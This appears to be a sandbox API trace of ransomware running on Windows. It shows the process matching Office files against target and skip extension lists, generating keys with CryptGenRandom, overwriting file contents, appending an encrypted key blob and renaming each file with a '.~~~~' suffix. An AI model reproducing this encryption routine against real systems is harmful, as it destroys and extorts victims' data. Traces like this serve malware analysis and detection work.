	[0140.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".PST") returned 0x0
	[0140.343] lstrlenW (lpString=".dbf") returned 4
	[0140.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".dbf") returned 0x0
	[0140.343] lstrlenW (lpString=".SQL") returned 4
	[0140.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".SQL") returned 0x0
	[0140.343] lstrlenW (lpString=".pst") returned 4
	[0140.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".pst") returned 0x0
	[0140.344] lstrlenW (lpString=".dbv") returned 4
	[0140.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".dbv") returned 0x0
	[0140.344] lstrlenW (lpString=".SDF") returned 4
	[0140.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".SDF") returned 0x0
	[0140.344] lstrlenW (lpString=".dtxs") returned 5
	[0140.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".dtxs") returned 0x0
	[0140.344] lstrlenW (lpString=".db3") returned 4
	[0140.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".db3") returned 0x0
	[0140.344] lstrlenW (lpString=".OST") returned 4
	[0140.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".OST") returned 0x0
	[0140.344] lstrlenW (lpString=".dbx") returned 4
	[0140.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".dbx") returned 0x0
	[0140.344] lstrlenW (lpString=".DB3") returned 4
	[0140.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".DB3") returned 0x0
	[0140.344] lstrlenW (lpString=".DAT") returned 4
	[0140.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".DAT") returned 0x0
	[0140.344] lstrlenW (lpString=".VHDX") returned 5
	[0140.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".VHDX") returned 0x0
	[0140.344] lstrlenW (lpString=".ndf") returned 4
	[0140.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".ndf") returned 0x0
	[0140.344] lstrlenW (lpString=".DB") returned 3
	[0140.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".DB") returned 0x0
	[0140.344] lstrlenW (lpString=".sql") returned 4
	[0140.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".sql") returned 0x0
	[0140.344] lstrlenW (lpString=".MYD") returned 4
	[0140.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".MYD") returned 0x0
	[0140.344] lstrlenW (lpString=".DBT") returned 4
	[0140.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".DBT") returned 0x0
	[0140.344] lstrlenW (lpString=".ACCDB") returned 6
	[0140.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".ACCDB") returned 0x0
	[0140.344] lstrlenW (lpString=".fdb") returned 4
	[0140.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".fdb") returned 0x0
	[0140.344] lstrlenW (lpString=".bak") returned 4
	[0140.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".bak") returned 0x0
	[0140.345] lstrlenW (lpString=".myd") returned 4
	[0140.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".myd") returned 0x0
	[0140.345] lstrlenW (lpString=".DTXS") returned 5
	[0140.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".DTXS") returned 0x0
	[0140.345] lstrlenW (lpString=".ckp") returned 4
	[0140.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".ckp") returned 0x0
	[0140.345] lstrlenW (lpString=".dbt") returned 4
	[0140.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".dbt") returned 0x0
	[0140.345] lstrlenW (lpString=".db") returned 3
	[0140.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".db") returned 0x0
	[0140.345] lstrlenW (lpString=".TXT") returned 4
	[0140.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".TXT") returned 0x0
	[0140.345] lstrlenW (lpString=".MDF") returned 4
	[0140.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".MDF") returned 0x0
	[0140.345] lstrlenW (lpString=".bdb") returned 4
	[0140.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".bdb") returned 0x0
	[0140.345] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0140.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0140.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0140.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0140.345] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394b08) returned 1
	[0140.346] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0140.346] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0140.346] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0140.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0140.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0140.346] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26033662507) returned 1
	[0140.347] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbd100dd0, dwHighDateTime=0x1d60e1e)) 
	[0140.347] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0140.347] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0140.347] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0140.347] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e51f8
	[0140.347] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0140.347] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e51f8 | out: hHeap=0x300000) returned 1
	[0140.347] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0140.347] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0140.347] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38f300
	[0140.347] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0140.347] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6380
	[0140.347] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38f300 | out: hHeap=0x300000) returned 1
	[0140.347] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0140.347] GetLastError () returned 0x0
	[0140.348] GetLastError () returned 0x0
	[0140.348] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0140.348] GetLastError () returned 0x0
	[0140.348] GetLastError () returned 0x0
	[0140.348] ReadFile (in: hFile=0x138, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x26dfec0*=0x2bb7, lpOverlapped=0x0) returned 1
	[0140.350] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd449, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.350] WriteFile (in: hFile=0x138, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x2bb7, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x2bb7, lpOverlapped=0x0) returned 1
	[0140.350] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0140.350] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.350] WriteFile (in: hFile=0x138, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0140.350] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0140.350] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0140.353] CloseHandle (hObject=0x138) returned 1
	[0140.353] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38f300
	[0140.353] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir17f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir17f.gif.~~~~")) returned 1
	[0140.355] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38f300 | out: hHeap=0x300000) returned 1
	[0140.355] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0140.355] GetLastError () returned 0x0
	[0140.355] RtlWakeConditionVariable () returned 0x0
	[0140.355] GetCurrentThreadId () returned 0x9cc
	[0140.355] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".scr") returned 0x0
	[0140.355] lstrlenW (lpString=".cmd") returned 4
	[0140.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".cmd") returned 0x0
	[0140.356] lstrlenW (lpString=".dll") returned 4
	[0140.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".dll") returned 0x0
	[0140.356] lstrlenW (lpString=".bat") returned 4
	[0140.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".bat") returned 0x0
	[0140.356] lstrlenW (lpString=".cpl") returned 4
	[0140.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".cpl") returned 0x0
	[0140.356] lstrlenW (lpString=".sys") returned 4
	[0140.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".sys") returned 0x0
	[0140.356] lstrlenW (lpString=".msc") returned 4
	[0140.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".msc") returned 0x0
	[0140.356] lstrlenW (lpString=".com") returned 4
	[0140.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".com") returned 0x0
	[0140.356] lstrlenW (lpString=".lnk") returned 4
	[0140.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".lnk") returned 0x0
	[0140.356] lstrlenW (lpString=".msp") returned 4
	[0140.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".msp") returned 0x0
	[0140.356] lstrlenW (lpString=".pif") returned 4
	[0140.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".pif") returned 0x0
	[0140.356] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0140.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0140.356] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir18f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0140.358] lstrlenW (lpString=".sqb") returned 4
	[0140.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".sqb") returned 0x0
	[0140.358] lstrlenW (lpString=".ost") returned 4
	[0140.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".ost") returned 0x0
	[0140.358] lstrlenW (lpString=".txt") returned 4
	[0140.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".txt") returned 0x0
	[0140.358] lstrlenW (lpString=".mdt") returned 4
	[0140.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".mdt") returned 0x0
	[0140.358] lstrlenW (lpString=".BDB") returned 4
	[0140.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".BDB") returned 0x0
	[0140.358] lstrlenW (lpString=".eql") returned 4
	[0140.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".eql") returned 0x0
	[0140.358] lstrlenW (lpString=".DBF") returned 4
	[0140.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".DBF") returned 0x0
	[0140.358] lstrlenW (lpString=".EQL") returned 4
	[0140.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".EQL") returned 0x0
	[0140.358] lstrlenW (lpString=".FDB") returned 4
	[0140.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".FDB") returned 0x0
	[0140.358] lstrlenW (lpString=".EDB") returned 4
	[0140.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".EDB") returned 0x0
	[0140.358] lstrlenW (lpString=".DACPAC") returned 7
	[0140.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".DACPAC") returned 0x0
	[0140.358] lstrlenW (lpString=".VHD") returned 4
	[0140.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".VHD") returned 0x0
	[0140.358] lstrlenW (lpString=".DBV") returned 4
	[0140.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".DBV") returned 0x0
	[0140.358] lstrlenW (lpString=".dacpac") returned 7
	[0140.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".dacpac") returned 0x0
	[0140.359] lstrlenW (lpString=".sdf") returned 4
	[0140.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".sdf") returned 0x0
	[0140.359] lstrlenW (lpString=".accdb") returned 6
	[0140.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".accdb") returned 0x0
	[0140.359] lstrlenW (lpString=".DBX") returned 4
	[0140.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".DBX") returned 0x0
	[0140.359] lstrlenW (lpString=".MDT") returned 4
	[0140.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".MDT") returned 0x0
	[0140.359] lstrlenW (lpString=".SQB") returned 4
	[0140.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".SQB") returned 0x0
	[0140.359] lstrlenW (lpString=".vhd") returned 4
	[0140.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".vhd") returned 0x0
	[0140.359] lstrlenW (lpString=".bac") returned 4
	[0140.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".bac") returned 0x0
	[0140.359] lstrlenW (lpString=".mdf") returned 4
	[0140.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".mdf") returned 0x0
	[0140.359] lstrlenW (lpString=".BAK") returned 4
	[0140.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".BAK") returned 0x0
	[0140.359] lstrlenW (lpString=".BAC") returned 4
	[0140.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".BAC") returned 0x0
	[0140.359] lstrlenW (lpString=".dbs") returned 4
	[0140.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".dbs") returned 0x0
	[0140.359] lstrlenW (lpString=".vhdx") returned 5
	[0140.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".vhdx") returned 0x0
	[0140.359] lstrlenW (lpString=".NDF") returned 4
	[0140.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".NDF") returned 0x0
	[0140.359] lstrlenW (lpString=".dat") returned 4
	[0140.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".dat") returned 0x0
	[0140.359] lstrlenW (lpString=".DBS") returned 4
	[0140.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".DBS") returned 0x0
	[0140.359] lstrlenW (lpString=".CKP") returned 4
	[0140.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".CKP") returned 0x0
	[0140.359] lstrlenW (lpString=".edb") returned 4
	[0140.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".edb") returned 0x0
	[0140.360] lstrlenW (lpString=".PST") returned 4
	[0140.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".PST") returned 0x0
	[0140.360] lstrlenW (lpString=".dbf") returned 4
	[0140.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".dbf") returned 0x0
	[0140.360] lstrlenW (lpString=".SQL") returned 4
	[0140.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".SQL") returned 0x0
	[0140.360] lstrlenW (lpString=".pst") returned 4
	[0140.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".pst") returned 0x0
	[0140.360] lstrlenW (lpString=".dbv") returned 4
	[0140.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".dbv") returned 0x0
	[0140.360] lstrlenW (lpString=".SDF") returned 4
	[0140.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".SDF") returned 0x0
	[0140.360] lstrlenW (lpString=".dtxs") returned 5
	[0140.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".dtxs") returned 0x0
	[0140.360] lstrlenW (lpString=".db3") returned 4
	[0140.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".db3") returned 0x0
	[0140.360] lstrlenW (lpString=".OST") returned 4
	[0140.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".OST") returned 0x0
	[0140.360] lstrlenW (lpString=".dbx") returned 4
	[0140.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".dbx") returned 0x0
	[0140.360] lstrlenW (lpString=".DB3") returned 4
	[0140.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".DB3") returned 0x0
	[0140.360] lstrlenW (lpString=".DAT") returned 4
	[0140.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".DAT") returned 0x0
	[0140.360] lstrlenW (lpString=".VHDX") returned 5
	[0140.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".VHDX") returned 0x0
	[0140.360] lstrlenW (lpString=".ndf") returned 4
	[0140.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".ndf") returned 0x0
	[0140.360] lstrlenW (lpString=".DB") returned 3
	[0140.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".DB") returned 0x0
	[0140.360] lstrlenW (lpString=".sql") returned 4
	[0140.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".sql") returned 0x0
	[0140.361] lstrlenW (lpString=".MYD") returned 4
	[0140.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".MYD") returned 0x0
	[0140.361] lstrlenW (lpString=".DBT") returned 4
	[0140.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".DBT") returned 0x0
	[0140.361] lstrlenW (lpString=".ACCDB") returned 6
	[0140.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".ACCDB") returned 0x0
	[0140.361] lstrlenW (lpString=".fdb") returned 4
	[0140.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".fdb") returned 0x0
	[0140.361] lstrlenW (lpString=".bak") returned 4
	[0140.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF", lpSrch=".bak") returned 0x0
